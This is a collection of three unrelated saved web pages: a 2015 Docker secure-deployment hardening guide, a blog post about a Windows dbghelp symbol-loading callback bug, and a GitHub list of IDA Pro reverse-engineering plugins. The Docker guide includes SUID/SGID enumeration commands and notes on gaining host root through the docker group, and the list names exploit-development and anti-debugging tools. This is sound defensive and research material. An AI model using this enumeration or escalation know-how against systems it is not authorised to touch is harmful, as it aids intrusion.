**Created:**| _1/13/2015 11:30:54 AM_  
---|---  
**Updated:**| _1/13/2015 11:30:54 AM_  
**Author:**| __  
**Tags:**| __  
  
  

###  Docker Secure Deployment Guidelines

Within today’s growing cloud-based IT market, there is a strong demand for
virtualisation technologies. Unfortunately most virtualisation solutions are
not flexible enough to meet developer requirements and the overhead implied by
the use of full virtualisation solutions becomes a burden on the scalability
of the infrastructure.  
  
Docker reduces that overhead by allowing developers and system administrators
to seamlessly deploy containers for applications and services required for
business operations. However, because Docker leverages the same kernel as the
host system to reduce the need for resources, containers can be exposed to
significant security risks if not adequately configured.  
  
The following itemised list suggests hardening actions that can be undertaken
to improve the security posture of the containers within their respective
environment. It should be noted that proposed solutions only apply to
deployment of Linux Docker containers on Linux-based hosts, using the most
recent release of Docker at the time of this writing \(1.4.0, commit ` 4595d4f
`, dating 11/12/14\).  
  
Part of the content below is based on publications from Jérôme Petazzoni \[1\]
and Daniel J Walsh \[2\]. This document aims at adding on to their
recommendations and how they can specifically be implemented within Docker.  
  
_Note_ : Most of suggested command line options can be stored and used in a
similar manner inside a Dockerfile for automated image building.

Item | Deployment  
---|---  
Docker Images | Docker 1.3 now supports cryptographic signatures \[3\] to ascertain the origin and integrity of official repository images. This feature is however still a work in progress as Docker will issue a warning but not prevent the image from actually running. Furthermore, it does not apply to non-official images.   
  
In general, ensure that images are only retrieved from trusted repositories
and that the ` --insecure-registry=[] ` command line option is never used.  
Network Namespaces \[4\] | By default, the Docker REST API used to control containers exposed via the system Docker daemon is only accessible locally via a Unix domain socket.   
  
Running Docker on a TCP port \(i.e. forcing the bind address using the -H
option when launching the Docker daemon\) will allow anyone with access to
that port to gain access to the container, potentially gaining root access on
the host as well in some scenarios where the local user belongs to the docker
group \[5\].  
  
When allowing access to the daemon over TCP, ensure that communications are
adequately encrypted using SSL \[6\] and access controls effectively prevent
unauthorised parties from interacting with it.  
  
Kernel firewall iptables rules can be applied to ` docker0 `, the standard
network bridge interface for Docker, to enforce those controls.  
  
For instance, the source IP range of a Docker container can be restricted from
talking with the outside world using the following iptables filter \[7\]. `
iptables -t filter -A FORWARD -s <source_ip_range> -j REJECT --reject-with
icmp-admin-prohibited` ` `  
Logging & Auditing | Collect and archive security logs relating to Docker for auditing and monitoring purposes.   
  
Accessing log files outside of the container, from the host \[8\], can be
performed using the following command:  
` docker run -v /dev/log:/dev/log <container_name> /bin/sh `  
  
Using the Docker command built-in:  
` docker logs ... ` \(-f to follow log output\)  
  
Log files can also be exported for persistent storage into a tarball using:  
` docker export ... `  
SELinux or AppArmor | Linux kernel security modules such as Security-Enhanced Linux \(SELinux\) and AppArmor can be configured, via access control security policies, to implement mandatory access controls \(MAC\) confining processes to a limited set of system resources or privileges.   
  
SELinux can be enabled in the container using setenforce 1, if it was
previously installed and configured. The SELinux support for the Docker daemon
is disabled by default and needs to be enabled using ` --selinux-enabled `.  
  
Label confinement for the container can be configured using the newly added `
--security-opt ` to load SELinux or AppArmor policies. This feature was
introduced in Docker version 1.3 \[9\].  
  
_Example:_  
` docker run --security-opt=secdriver:name:value -i -t centos bash `  
Daemon Privileges | Do not use the ` --privileged ` command line option. This would otherwise allow the container to access all devices on the host and would in addition provide the container with specific a LSM \(i.e SELinux or AppArmor\) configuration that would give it the same level of access as processes running on the host.   
  
Avoiding the use of ` --privileged ` helps reduce the attack surface and
potential of host compromise. This however does not mean that the daemon will
run without root privileges which is still currently required in the latest
release.  
  
The ability to launch the daemon and containers should only be given to
trusted user.  
  
Minimize privileges enforced inside the container by leveraging the -u option.  
_Example:_  
` docker run -u <username> -it <container_name> /bin/bash `  
  
Any user part of the docker group could eventually get root on the host from
the container  
cgroups \[10\] | In order to prevent Denial of Service \(DoS\) attacks via system resource exhaustion, a number of resource restrictions can be applied using specific command line arguments.   
  
CPU usage:  
` docker run -it --rm --cpuset=0,1 -c 2 ... `  
  
Memory usage:  
` docker run -it --rm -m 128m ... `  
  
Storage usage:  
` docker -d --storage-opt dm.basesize=5G `  
  
Disk I/O:  
Currently not supported by Docker. BlockIO\* properties exposed via systemd
can be leveraged to control disk usage quotas on supported operating systems.  
SUID/GUID binaries | SUID and GUID binaries can prove dangerous when vulnerable to attacks leading to arbitrary code execution \(e.g. buffer overflows\), as they will be running under the context of the process’s file owner or group.   
  
When possible, consider removing SUID capabilities from the system and mount
filesystem with the ` nosuid ` attribute.  
  
SUID/GUID binaries can be found on a Linux system by running the following
commands:  
` find / -perm -4000 -exec ls -l {} \; 2>/dev/null `  
` find / -perm -2000 -exec ls -l {} \; 2>/dev/null `  
  
The SUID and GUID file permissions can then be removed using commands similar
to the following \[11\]:  
` sudo chmod u-s filename ` ` sudo chmod -R g-s directory `  
Devices control group \(/dev/\*\) | If required, mount devices using the built-in ` --device ` option \(do not use -v with the ` --privileged ` argument\). This feature was introduced in version 1.2 \[12\].   
  
_Example \(for using sound card\):_  
` docker run --device=/dev/snd:/dev/snd ... `  
Services and Applications | To reduce the potential for lateral movement if a Docker container was to be compromised, consider isolating sensitive services \(e.g. run SSH service on bastion host or in a VM\).   
  
Furthermore, do not run untrusted applications with root privileges within
containers.  
Mount Points | This is handled automatically by Docker when using the native container library \(i.e. libcontainer\).   
  
However, when using the LXC container library, sensitive mount points should
ideally be manually mounted with read-only permissions, including:  
` /sys `  
` /proc/sys `  
` /proc/sysrq-trigger `  
` /proc/irq `  
` /proc/bus `  
  
Mount permissions should later be removed to prevent remounting.  
Linux Kernel | Ensure kernel is up-to-date using update utility provided by the system \(e.g. apt-get, yum, etc\). Out-dated kernels are more likely to be vulnerable to publicly disclosed vulnerabilities.   
  
Use strengthened a kernel with GRSEC or PAX, that for example provide
increased security against memory corruption bugs.  
User Namespaces | Docker does not support user namespaces but is a feature currently under development \[13\]. UID mapping is currently supported by the LXC driver but not in the native libcontainer library.   
  
This feature would allow the Docker daemon to run as an unprivileged user on
the host but appear as running as root within containers.  
libseccomp \(and seccomp-bpf extension\) | The libseccomp library allows restricting the use of Linux kernel’s syscall procedures based on a white-list approach. Syscall procedures not vital to system operation should ideally be disabled to prevent abuse or misuse within a compromised container.   
  
This feature is currently a work in progress \(available in LXC driver, not in
libcontainer which is now default\).  
  
To restart the Docker daemon to use the LXC driver use \[14\]:  
` docker -d -e lxc `  
  
Instructions on how to generate a seccomp configuration are on the Docker
GitHub repository within the 'contrib' \[15\] folder. This can later be used
to create a LXC based Docker container using the following command:  
` docker run --lxc-conf="lxc.seccomp=$file" <rest of arguments> `  
` capabilities(7) ` | Drop linux capabilities to a minimum whenever possible. Docker default capabilities include: ` chown `, ` dac_override `, ` fowner `, ` kill `, ` setgid `, ` setuid `, ` setpcap `, ` net_bind_service `, ` net_raw `, ` sys_chroot `, ` mknod `, ` setfcap `, and ` audit_write `.   
  
Can be controlled when launching a container from command line with ` --cap-
add=[] ` or ` --cap-drop=[] `.  
  
_Example:_  
` docker run --cap-drop setuid --cap-drop setgid -ti <container_name> /bin/sh
`  
  
This feature was introduced in Docker version 1.2 \[16\]  
Multi-tenancy Environments | Due to the shared nature of Docker containers’ kernel, separation of duty in multi-tenancy environments cannot be achieved securely. It is recommended that containers be run on hosts that have no other purposes and are not used for sensitive operations. Consider moving all services into containers controlled by Docker.   
  
When possible, keep inter-container communications to a minimum by setting the
Docker daemon to use ` --icc=false ` and specify -link with docker run when
necessary, or ` --export=port ` to expose a port from the container without
publishing it on the host.  
  
Map groups of mutually-trusted containers to separate machines \[17\].  
Full Virtualisation | Use a full virtualisation solution to contain Docker, such as KVM. This will prevent escalation from the container to the host if a kernel vulnerability is exploited inside the Docker image.   
  
Docker images can be nested to provide this KVM virtualisation layer as shown
in the Docker-in-Docker utility \[18\].  
Security Audits | Perform regular security audits of your host system and containers to identify mis-configuration or vulnerabilities that could expose your system to compromise.  
##  References

\[1\] _Docker, Linux Containers \(LXC\), and security_ \(August, 2014\).
Jérôme Petazzoni. \[presentation slides\]
http://www.slideshare.net/jpetazzo/docker-linux-containers-lxc-and-security  
\[2\] _Docker and SELinux_ \(July, 2014\). Daniel Walsh \[video\]
https://www.youtube.com/watch?v=zWGFqMuEHdw  
\[3\] _Docker 1.3: Signed Images, Process Injection, Security Options, Mac
shared directories_ \(October, 2014\). Scott Johnston
http://blog.docker.com/2014/10/docker-1-3-signed-images-process-injection-
security-options-mac-shared-directories/  
\[4\] _Exploring LXC Networking_ \(November, 2013\). Milos Gajdos.
http://containerops.org/2013/11/19/lxc-networking/  
_PaaS under the hood, episode 1: kernel namespaces_ \(November, 2012\). Jérôme
Petazzoni. http://blog.dotcloud.com/under-the-hood-linux-kernels-on-dotcloud-
part  
_Exploring networking in Linux containers_ \(January, 2014\). Milos Gajdos.
\[presentation slides\] https://speakerdeck.com/gyre007/exploring-networking-
in-linux-containers  
\[5\] _How to grant rights to users to use Docker in Fedora_ \(October 2014\).
Daniel Walsh http://opensource.com/business/14/10/docker-user-rights-fedora  
\[6\] _Running Docker with https._ \[Docker documentation\]
https://docs.docker.com/articles/https/  
\[7\] _security suggestions when running malicious code_ , Google Groups
\(August, 2013\). Jérôme Petazzoni
https://groups.google.com/forum/\#\!msg/docker-user/uuiQ3Nk3uSY/SuFpdO6BPmYJ  
\[8\] _Monitoring Images and Containers._ \[Red Hat documentation\]
https://access.redhat.com/documentation/en-
US/Red\_Hat\_Enterprise\_Linux/7/html/Resource\_Management\_and\_Linux\_Containers\_Guide/sec-
Monitoring\_Images.html  
\[9\] _Docker 1.3: Signed Images, Process Injection, Security Options, Mac
shared directories_ \(October, 2014\). Scott Johnston
http://blog.docker.com/2014/10/docker-1-3-signed-images-process-injection-
security-options-mac-shared-directories/  
\[10\] _Resource management in Docker_ \(September, 2014\). Marek Goldmann.
https://goldmann.pl/blog/2014/09/11/resource-management-in-docker/  
_Gathering LXC and Docker Containers Metrics_ \(October, 2013\). Jérôme
Petazzoni. http://blog.docker.com/2013/10/gathering-lxc-docker-containers-
metrics/  
\[11\] _Removing SUID and SGID flags off binaries_ \(August, 2008\). Eric
Thern. http://www.thern.org/projects/linux-lecture/intro-to-linux/node10.html  
\[12\] _Announcing Docker 1.2.0_ \(August, 2014\). Victor Vieux.
http://blog.docker.com/2014/08/announcing-docker-1-2-0/  
\[13\] _Having non-root privileges on the host and root inside the container
\#2918_ \(November, 2013\). \[GitHub issue\]
https://github.com/docker/docker/issues/2918  
_Support for user namespaces \#4572_ \(March 2014\). \[GitHub issue\]
https://github.com/docker/docker/pull/4572  
_Proposal: Support for user namespaces \#7906_ \(September, 2014\). \[GitHub
issue\] https://github.com/docker/docker/issues/7906  
_Issue 8447: syscall, os/exec: Support for User Namespaces_ \(July, 2014\)
\[Google Code issue\] https://code.google.com/p/go/issues/detail?id=8447  
\[14\] _Docker 0.9: Introducing Execution Drivers and libcontainer_ \(March,
2014\). Solomon Hykes http://blog.docker.com/2014/03/docker-0-9-introducing-
execution-drivers-and-libcontainer/  
\[15\] A simple helper script to help people build seccomp profiles for
Docker/LXC \(November 2013\). Martijn van Oosterhout.
https://github.com/docker/docker/blob/487a417d9fd074d0e78876072c7d1ebfd398ea7a/contrib/mkseccomp.pl  
https://github.com/docker/docker/blob/487a417d9fd074d0e78876072c7d1ebfd398ea7a/contrib/mkseccomp.sample  
\[16\] _Announcing Docker 1.2.0_ \(August, 2014\). Victor Vieux.
http://blog.docker.com/2014/08/announcing-docker-1-2-0/  
\[17\] _Docker Container Breakout Proof-of-Concept Exploit_ \(June, 2014\).
James Turnbull http://blog.docker.com/2014/06/docker-container-breakout-proof-
of-concept-exploit/  
\[18\] docker2docker GitHub repository. Jérôme Petazzoni.
https://github.com/jpetazzo/docker2docker  

##  License

<img
src='img/68747470733a2f2f692e6372656174697665636f6d6d6f6e732e6f72672f6c2f62792d73612f342e302f38387833312e706e67.png'
width='88' height='31' alt='Creative Commons License' />  
Docker Secure Deployment Guidelines by Gotham Digital Science is licensed
under a Creative Commons Attribution-ShareAlike 4.0 International License.

  

# When Returning TRUE Returned FALSE « Just Let It Flow

**Created:**| _10/29/2011 1:47:51 PM_  
---|---  
**Updated:**| _10/29/2011 1:47:51 PM_  
**Author:**| __  
**Tags:**| _windows environment windbg_  
  

### When Returning TRUE Returned FALSE

Filed under: Windows,Wow, that was stupid — adeyblue @ 1:49 am

_The Dbghelp Symbol API, Deferred Loads and ERROR\_CANCELLED \(1223\)_

It was a day like any other, the birds were singing, bees were trying to have
sex with them \(as is my understanding\) and my code worked was in a working
state, but not for much longer. The symbol handling part of the code was in
need of a cleanup so I took the opportunity to change the symbol loading
options so that the api used the more efficient \(apparently\) deferred
loading instead of buliding the full symbol table on initialization. That’s
when the pain started.  
  
Instead of the tests working fine, SymLoadModuleExW was returning failure for
every single module passed to it. As I was investigating Process Explorer at
the time, I hooked up the debugger to double check I was passing the same
parameters it was, check; affirm the callback \(below\) was returning TRUE,
double check; turned off deferred loading to see if that solved it, triple
check.

[code]

    BOOL CALLBACK DbgCallbackProc(HANDLE hProcess, ULONG ActionCode,
                                  ULONG64 CallbackData, ULONG64 UserContext)
    {
        BOOL bRet = TRUE;
        switch(ActionCode)
        {
            case CBA_READ_MEMORY:
            {
                IMAGEHLP_CBA_READ_MEMORY* pMem = (IMAGEHLP_CBA_READ_MEMORY*)CallbackData;
                bRet = ReadProcessMemory(hProcess, pMem->addr,
                             pMem->buf, pMem->bytes, pMem->bytesread);
            }
            break;
        }
        UNREFERENCED_PARAMETER(UserContext);
        return bRet;
    }
[/code]

Argh, it must’ve been somewhere inside SymLoadModuleExW that was failing, so I
went in with the debugger. It did it’s setting up, it called the callback
which returned TRUE, and somehow from this it synthesized ERROR\_CANCELLED. It
seemed that unlike practically every other Winapi callback, returning TRUE as
a default didn’t mean “Yes, go away and do it” but exactly the opposite.
That’s when I actually looked at the name at the name of the deferred loading
action. CBA\_DEFERRED\_SYMBOL\_LOAD\_**CANCEL** , well, it doesn’t take a
genius to figure it out, but having one on hand would’ve saved a whole bunch
of time.

I changed the callback to:

[code]

    BOOL CALLBACK DbgCallbackProc(HANDLE hProcess, ULONG ActionCode,
                                  ULONG64 CallbackData, ULONG64 UserContext)
    {
        BOOL bRet = TRUE;
        switch(ActionCode)
        {
            case CBA_READ_MEMORY:
            {
                IMAGEHLP_CBA_READ_MEMORY* pMem = (IMAGEHLP_CBA_READ_MEMORY*)CallbackData;
                bRet = ReadProcessMemory(hProcess, pMem->addr,
                             pMem->buf, pMem->bytes, pMem->bytesread);
            }
            break;
            case CBA_DEFERRED_SYMBOL_LOAD_CANCEL:
            {
                bRet = FALSE;
            }
            break;
        }
        UNREFERENCED_PARAMETER(UserContext);
        return bRet;
    }
[/code]

And everything returned to its original peaceful and tranquil state.

# nihilus \(Markus Gothe\)

**Created:**| _4/30/2015 10:58:22 AM_  
---|---  
**Updated:**| _5/8/2015 3:05:44 PM_  
**Author:**| __  
**Tags:**| _iDA_  
  

# nihilus \(Markus Gothe\)

  * ### diaphora
forked from joxeankoret/diaphora

Diaphora, a program diffing plugin for, at the moment, IDA Pro

Updated 11 days ago

  * ### Diaphora\_loader
forked from techbliss/Diaphora\_loader

Plugin Loader for Diaphora\(Ida Pro\)

Updated 25 days ago

  * ### arm-helper
Updated 26 days ago

  * ### ida\_plugin\_depack\_aplib\_and\_lzma
Updated 26 days ago

  * ### detpdb
Updated 27 days ago

  * ### IDACompare
forked from dzzie/IDACompare

IDA disassembly level diffing tool, find patches and modifications between
malware variants. See mydoom A/B sample database and video trainer for usage.

Updated 27 days ago

  * ### vctaxo
Updated 29 days ago

  * ### ida-pro-loadmap
forked from mefistotelis/ida-pro-loadmap

Plugin for IDA Pro disassembler which allows loading .map files.

Updated 29 days ago

  * ### AVA
forked from jebaldwin/AVA

My research for tool support and visualizaton of Assembly Language. Mostly
created as support for working with IDA Pro but standalone executables could
also be used for visualization.

Updated 29 days ago

  * ### idarest
forked from dshikashio/idarest

Expose some basic IDA Pro interactions through a REST API for JSONP

Updated 29 days ago

  * ### qb-sync
forked from quarkslab/qb-sync

qb-sync is an open source tool to add some helpful glue between IDA Pro and
Windbg. Its core feature is to dynamically synchronize IDA's graph windows
with Windbg's position.

Updated 29 days ago

  * ### smd\_ida\_tools
forked from DrMefistO/smd\_ida\_tools

Sega Genesis/Megadrive ROMs loader plugin for IDA Pro

Updated 29 days ago

  * ### Frida\_For\_Ida\_Pro
forked from techbliss/Frida\_For\_Ida\_Pro

Frida PluginFor Ida Pro

Updated on Mar 21

  * ### qcom-mbn-ida-loader
forked from daxgr/qcom-mbn-ida-loader

IDA loader plugin for Qualcomm Bootloader Stages

Updated on Mar 16

  * ### src
forked from idapython/src

IDAPython project for Hex-Ray's IDA Pro

Updated on Mar 14

  * ### ida
forked from devttys0/ida

Updated on Mar 3

  * ### ADB\_Helper\_QT\_Super\_version
forked from techbliss/ADB\_Helper\_QT\_Super\_version

All You Need For Ida Pro And Android Debugging

Updated on Mar 3

  * ### idaref
forked from nologic/idaref

IDA Pro Instruction Reference Plugin

Updated on Mar 3

  * ### funcap
forked from deresz/funcap

IDA Pro script to add some useful runtime info to static analysis

Updated on Mar 3

  * ### flare-ida
forked from fireeye/flare-ida

IDA Pro utilities from FLARE team

Updated on Mar 3

  * ### map2idc
forked from BhaaLseN/map2idc

Creates an IDA IDC script from a framework.map off a GC/Wii Disc

Updated on Mar 3

  * ### 3DSX-IDA-PRO-Loader
forked from 0xEBFE/3DSX-IDA-PRO-Loader

IDA PRO Loader for 3DSX files

Updated on Mar 1

  * ### ida\_ipython
forked from james91b/ida\_ipython

An IDA Pro Plugin for embedding an IPython Kernel

Updated on Mar 1

  * ### ida-scripts-6
forked from filcab/ida-scripts

Random ida scripts. Not sure this will have much...

Updated on Feb 27

  * ### PIDA
forked from leishen/PIDA

Python usability wrapper for IDA Pro

Updated on Feb 27

  * ### IDA-Pro-Scripts
forked from neriberto/IDA-Pro-Scripts

IDA Pro Scripts

Updated on Feb 24

  * ### gekkoPS
forked from hyperiris/gekkoPS

Nintendo GameCube Gekko CPU Extension plug-in for IDA Pro 5.2

Updated on Feb 17

  * ### epanos
forked from drvink/epanos

ElectroPaint Automatic No-source Object reaSsembler \(a MIPS to C decompiler\)

Updated on Feb 13

  * ### idaplugininfo
This is a little utility to dump information about installed IDA Pro plugins.
The key parts of the IDA PLUGIN export "plugin\_t" struct data.

Updated on Feb 12

  * ### IBAL
forked from digitalbond/IBAL

Updated on Feb 12

  * ### android-scripts
forked from strazzere/android-scripts

Collection of Android reverse engineering scripts

Updated on Feb 12

  * ### ida-solarized
forked from rekav0k/ida-solarized

IDA Pro colors based off of solarized

Updated on Feb 11

  * ### ida-translator
forked from kyrus/ida-translator

A plugin for IDA Pro that assists in decoding arbitrary character sets in an
IDA Pro database into Unicode, then automatically invoking a web-based
translation service \(currently Google Translate\) to translate that foreign
text into English.

Updated on Feb 11

  * ### BinSourcerer
forked from BinSigma/BinSourcerer

BinSourcerer

Updated on Feb 4

  * ### lltd-osx
LLTD \(LLD2D\) for OS X

Updated on Feb 4

  * ### lltdscan
forked from zed-0xff/lltdscan

Scan for LLTD-enabled hosts on your network

Updated on Feb 4

  * ### ParseBinTree
take IDA PRO memory lines and print binary tree node.

Updated on Feb 1

  * ### IDA-SmartPatcher
forked from npetrovski/IDA-SmartPatcher

IDA apply patch GUI

Updated on Feb 1

  * ### idatools
forked from haxmeadroom/idatools

Tools for IDA

Updated on Feb 1

  * ### ADB\_Helper\_For\_ida\_Pro
forked from techbliss/ADB\_Helper\_For\_ida\_Pro

Helps you debugging Android in Ida pro

Updated on Feb 1

  * ### revtools
forked from bniemczyk/revtools

Reversing Tools for IDA PRO

Updated on Feb 1

  * ### IDASynergy
forked from CubicaLabs/IDASynergy

A combination of an IDAPython Plugin and a control version system that result
in a new reverse engineering collaborative addon for IDA Pro. By

Updated on Feb 1

  * ### toolbag
forked from aaronportnoy/toolbag

The IDA Toolbag is a plugin providing supplemental functionality to Hex-Rays
IDA Pro disassembler.

Updated on Feb 1

  * ### ida-metrics\_static
forked from MShudrak/IDAmetrics

IDA plugin for software complexity metrics collection

Updated on Jan 29

  * ### ida\_bochs\_debugger
forked from ganboing/ida\_bochs\_debugger

Updated on Jan 20

  * ### idalink
forked from zardus/idalink

Some glue facilitating remote use of IDA \(the Interactive DisAssembler\)
Python API.

Updated on Jan 14

  * ### REtypedef
forked from athre0z/REtypedef

Name substitution plugin for IDA PRO

Updated on Jan 14

  * ### IMH
forked from Z-Rantom/IMH

IDA Pro MSDN Helper

Updated on Jan 12

  * ### PyQt\_PySide\_APP\_Caller
forked from techbliss/PyQt\_PySide\_APP\_Caller

Ida Pro PyQT app caller and Pyside AP caller

Updated on Jan 10

  * ### rt-n56u
forked from moonman/rt-n56u

ASUS RT-N56U/N65U/N14U custom firmware

Updated on Jan 2

  * ### idascripts-2
forked from arizvisa/idascripts

A directory structure for organizing hacky Ida-python code into a sort-of
reuseable library.

Updated on Dec 14, 2014

  * ### ida-decompiler
forked from EiNSTeiN-/decompiler

An IDA plugin that attempts to decompile a function. Written in Python.

Updated on Dec 14, 2014

  * ### BinDiffNoFlush
forked from Shauren/BinDiffNoFlush

Simple IDA Pro plugin that disables FlushFileBuffers calls from bindiff plugin

Updated on Dec 14, 2014

  * ### ida-scripts
forked from m0t/ida-scripts

IDA scripts

Updated on Dec 13, 2014

  * ### gcdsp-ida-1
forked from dolphin-emu/gcdsp-ida

An IDA plugin for GC DSP reverse engineering

Updated on Dec 13, 2014

  * ### Recomp
forked from bastkerg/Recomp

IDA recompiler

Updated on Dec 8, 2014

  * ### IDA6.1PluginforQIRA
forked from laughfool/IDA6.1PluginforQIRA

IDA 6.1 Plug-in\(IDA Python\) for QIRA

Updated on Nov 28, 2014

  * ### WinIoCtlDecoder
forked from tandasat/WinIoCtlDecoder

IDA Plugin which decodes Windows Device I/O control code into DeviceType,
FunctionCode, AccessType and MethodType.

Updated on Nov 28, 2014

  * ### plympton
forked from rogwfu/plympton

Library to work with yaml exported IDA Pro information and run statistics

Updated on Nov 26, 2014

  * ### ida-skins
forked from athre0z/ida-skins

Advanced skinning plugin for IDA Pro

Updated on Nov 26, 2014

  * ### idascript-2
forked from lallousx86/idascript

idascript from http://www.hexblog.com/?p=128

Updated on Nov 20, 2014

  * ### idaStrTrans-1
forked from fuyzen/idaStrTrans

Translate any language in IDA Pro

Updated on Nov 18, 2014

  * ### ida-processor-script
forked from cregnec/ida-processor-script

a python script for ida processor module

Updated on Nov 18, 2014

  * ### plus22
forked from v0s/plus22

Tool to analyze 64-bit binaries with 32-bit Hex-Rays Decompiler

Updated on Nov 17, 2014

  * ### HexRaysCodeXplorer
forked from REhints/HexRaysCodeXplorer

Hex-Rays Decompiler plugin for better code navigation

Updated on Nov 12, 2014

  * ### idascripts
forked from nlitsme/idascripts

IDApro idc and idapython script collection

Updated on Nov 2, 2014

  * ### ida-colorschemes
forked from nfarrar/ida-colorschemes

A .clr colorscheme generator for IDA Pro 6.4+.

Updated on Oct 28, 2014

  * ### ida-efitools
forked from danse-macabre/ida-efitools

Some scripts for IDA Pro to assist with reverse engineering EFI binaries

Updated on Oct 21, 2014

  * ### IDAPython-2
forked from madsc13ntist/IDAPython

My collection of IDAPython scripts.

Updated on Oct 21, 2014

  * ### ida-xtensa
forked from themadinventor/ida-xtensa

IDAPython plugin for Tensilica Xtensa \(as seen in ESP8266\)

Updated on Oct 21, 2014

  * ### ida-sploiter
forked from iphelix/ida-sploiter

IDA Sploiter is a plugin for Hex-Ray's IDA Pro disassembler designed to
enhance IDA's capabilities as an exploit development and vulnerability
research tool.

Updated on Oct 11, 2014

  * ### ida-splode
forked from zachriggle/ida-splode

Augmenting Static Reverse Engineering with Dynamic Analysis and
Instrumentation

Updated on Oct 11, 2014

  * ### ScyllaHide
Updated on Oct 6, 2014

  * ### SCyllaDumper
forked from techbliss/SCyllaDumper

Ida Plugin to Use the Awsome Scylla plugin

Updated on Oct 6, 2014

  * ### ida-x86emu-QT
Updated on Sep 30, 2014

  * ### graphslick
Updated on Sep 30, 2014

  * ### bignum-dumper
Updated on Sep 30, 2014

  * ### ida-1
forked from binrapt/ida

Python script which extracts procedures from IDA Win32 LST files and converts
them to correctly dynamically linked compilable Visual C++ inline assembly.

Updated on Sep 25, 2014

  * ### ida-pomidor
forked from iphelix/ida-pomidor

IDA Pomidor is a plugin for Hex-Ray's IDA Pro disassembler that will help you
retain concentration and productivity during long reversing sessions.

Updated on Sep 23, 2014

  * ### ida-patcher
forked from iphelix/ida-patcher

IDA Patcher is a plugin for Hex-Ray's IDA Pro disassembler designed to enhance
IDA's ability to patch binary files and memory.

Updated on Sep 23, 2014

  * ### analyzecore
Updated on Sep 20, 2014

  * ### ida-starter
forked from kelwin/ida-starter

command line IDA Pro starter on Mac OSX

Updated on Sep 20, 2014

  * ### bios\_parse
Updated on Sep 16, 2014

  * ### patchdiff3
forked from namreeb/patchdiff3

Continuation of the popular patchdiff IDA plugin

Updated on Sep 16, 2014

  * ### patchdiff2
forked from filcab/patchdiff2

IDA binary differ. Since code.google.com/p/patchdiff2/ seemed abandoned, I did
the obvious thing…

Updated on Sep 16, 2014

  * ### ppchelper
Updated on Sep 16, 2014

  * ### ida-dbdump
Updated on Sep 16, 2014

  * ### HeapTracer
Updated on Sep 16, 2014

  * ### GUID-Finder
Updated on Sep 16, 2014

  * ### Cypress-M8-IDA-Processor-Module
Updated on Sep 16, 2014

  * ### ppc2
Updated on Sep 16, 2014

  * ### PPCAltivec
Updated on Sep 16, 2014

  * ### ppc2c
forked from gibbed/ppc2c

PowerPC to C plugin for IDA

Updated on Sep 16, 2014

  * ### arm-thumb-decompiler-plugin
Updated on Sep 16, 2014

  * ### ida-x86emu
Updated on Sep 16, 2014

  * ### CommentViewer
Updated on Sep 15, 2014

  * ### gerbay1
Updated on Sep 15, 2014

  * ### idainject
Updated on Sep 15, 2014

  * ### get-asm-code
Updated on Sep 14, 2014

  * ### patchdiff2\_ida6
forked from alexander-pick/patchdiff2\_ida6

patched up patchdiff2 to compile and work with IDA 6 on OSX

Updated on Sep 14, 2014

  * ### LoadMap
forked from neoz/LoadMap

IDA Loadmap plugin

Updated on Sep 14, 2014

  * ### idb2pat
forked from alexander-pick/idb2pat

idb2pat plugin, fixed to work with IDA 6.2

Updated on Sep 14, 2014

  * ### idados
forked from wjp/idados

Eric Fry's IDA/DOSBox debugger plugin

Updated on Sep 14, 2014

  * ### StructDump
Updated on Sep 14, 2014

  * ### processstalker
Updated on Sep 14, 2014

  * ### REProgram
forked from jkoppel/REProgram

Patch binaries at load-time

Updated on Sep 14, 2014

  * ### CLU
Updated on Sep 14, 2014

  * ### findMemcpy
Updated on Sep 14, 2014

  * ### findMalloc
Updated on Sep 14, 2014

  * ### malflare
Updated on Sep 14, 2014

  * ### IndirectCalls
Updated on Sep 14, 2014

  * ### desquirr
Updated on Sep 14, 2014

  * ### ncoverage
Updated on Sep 14, 2014

  * ### IDA2PAT\_Reloaded
Updated on Sep 14, 2014

  * ### Hotch
Updated on Sep 14, 2014

  * ### IdaThingy
Updated on Sep 14, 2014

  * ### hexrays\_tools
Updated on Sep 14, 2014

  * ### depload
Updated on Sep 14, 2014

  * ### IDAWinHelpViewer
Updated on Sep 14, 2014

  * ### garmin-ida-loader
Updated on Sep 14, 2014

  * ### IDA\_COM\_Plugin
Updated on Sep 14, 2014

  * ### IDA\_FunctionStringAssociate\_PlugIn
Updated on Sep 14, 2014

  * ### IDA\_Extrapass
Updated on Sep 14, 2014

  * ### CopyAndPast
Binary Copy and Paste

Updated on Sep 14, 2014

  * ### idastruct
Updated on Sep 14, 2014

  * ### idastealth
Updated on Sep 14, 2014

  * ### uberstealth
Updated on Sep 14, 2014

  * ### findStrcpy
Updated on Sep 13, 2014

  * ### IDA-Function-Tagger
forked from alessandrogario/IDA-Function-Tagger

This IDAPython script tags subroutines according to their use of imported
functions

Updated on Sep 9, 2014

  * ### binarydiffer
Updated on Sep 8, 2014

  * ### ia32rtools
forked from notaz/ia32rtools

Updated on Sep 7, 2014

  * ### IDA-IDC-Scripts
Varoius IDC-scripts I've collected during the years.

Updated on Sep 5, 2014

  * ### IDA-omf2pat
IDA FLAIR helpers for making .SIG files from Borland sources by servil

Updated on Sep 5, 2014

  * ### IDA-pinlog
Updated on Sep 4, 2014

  * ### Automated-Generic-Function-Naming
Updated on Sep 3, 2014

  * ### IDA-rails
Updated on Sep 3, 2014

  * ### REDB
Updated on Sep 3, 2014

  * ### IDA-auto-declaration
IDA PRO plugin for automatic type declaration like char, byte, float, double
wchar etc...

Updated on Sep 3, 2014

  * ### IDA-CC
http://forum.exetools.com/showthread.php?t=13569&page=3

Updated on Sep 2, 2014

  * ### IDASimulator
IDASimulator is a plugin that extends IDA's conditional breakpoint support,
making it easy to augment / replace complex executable code inside a debugged
process with Python code. Specifically, IDASimulator makes use of conditional
breakpoints in the IDA debugger to hijack the execution flow of a process and
invoke Python handler functions whene…

Updated on Sep 2, 2014

  * ### WhatAPIs
This plug-in will walk all of the functions in the loaded IDB and show you
what APIs are used inside each of these functions shown as a function comment.
The idea being to give you some helpful contextual information at a glance in
aid to reverse engineering.

Updated on Sep 2, 2014

  * ### ida-unicode-string-convert
Updated on Sep 1, 2014

  * ### rsrcExtractor
Updated on Sep 1, 2014

  * ### mbn\_loader
forked from cycad/mbn\_loader

IDA Pro Loader Plugin for Samsung Galaxy S4 ROMs

Updated on Sep 1, 2014

  * ### ida\_android\_script
forked from TheCjw/ida\_android\_script

some idapython scripts for android debugging.

Updated on Sep 1, 2014

  * ### ida-longnop
forked from themadinventor/ida-longnop

Updated on Sep 1, 2014

  * ### ida\_helpers
forked from kvnesterov/ida\_helpers

Updated on Sep 1, 2014

  * ### ida\_scripts-1
forked from noxrnet/ida\_scripts

